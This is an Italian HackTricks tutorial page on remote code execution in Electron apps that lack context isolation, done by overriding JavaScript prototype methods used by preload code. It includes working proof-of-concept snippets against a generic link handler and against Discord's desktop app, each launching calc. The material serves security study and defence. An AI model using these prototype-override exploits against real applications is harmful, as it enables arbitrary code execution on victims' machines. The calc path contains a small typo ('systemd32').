Electron contextIsolation RCE tramite codice preload

Reading time: 3 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Esempio 1

Esempio da https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Questo codice apre i link http(s) con il browser predefinito:

Qualcosa come file:///C:/Windows/systemd32/calc.exe potrebbe essere usato per eseguire una calcolatrice, il SAFE_PROTOCOLS.indexOf lo sta prevenendo.

Pertanto, un attaccante potrebbe iniettare questo codice JS tramite XSS o navigazione arbitraria della pagina:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>

Poiché la chiamata a SAFE_PROTOCOLS.indexOf restituirà sempre 1337, l'attaccante può eludere la protezione ed eseguire il calc. Exploit finale:

html
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Controlla le diapositive originali per altri modi di eseguire programmi senza avere un prompt che chiede permessi.

Apparentemente un altro modo per caricare ed eseguire codice è accedere a qualcosa come file://127.0.0.1/electron/rce.jar

Esempio 2: RCE dell'app Discord

Esempio da https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Controllando gli script di preload, ho scoperto che Discord espone la funzione, che consente di chiamare alcuni moduli autorizzati tramite DiscordNative.nativeModules.requireModule('MODULE-NAME'), nella pagina web.
Qui, non potevo usare moduli che possono essere utilizzati per RCE direttamente, come il modulo child_process, ma ho trovato un codice dove RCE può essere ottenuto sovrascrivendo i metodi incorporati di JavaScript e interferendo con l'esecuzione del modulo esposto.

Il seguente è il PoC. Sono riuscito a confermare che l'applicazione calc viene aperta quando chiamo la funzione getGPUDriverVersions che è definita nel modulo chiamato "discord_utils" da devTools, mentre sovrascrivo RegExp.prototype.test e Array.prototype.join.

javascript
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()

La funzione getGPUDriverVersions cerca di eseguire il programma utilizzando la libreria "execa", come segue:

javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}

const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}

return result
}

Di solito, l'execa cerca di eseguire "nvidia-smi.exe", che è specificato nella variabile nvidiaSmiPath, tuttavia, a causa dell'override di RegExp.prototype.test e Array.prototype.join, l'argomento viene sostituito con "calc" nell'elaborazione interna di _execa_**.

In particolare, l'argomento viene sostituito modificando le seguenti due parti.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks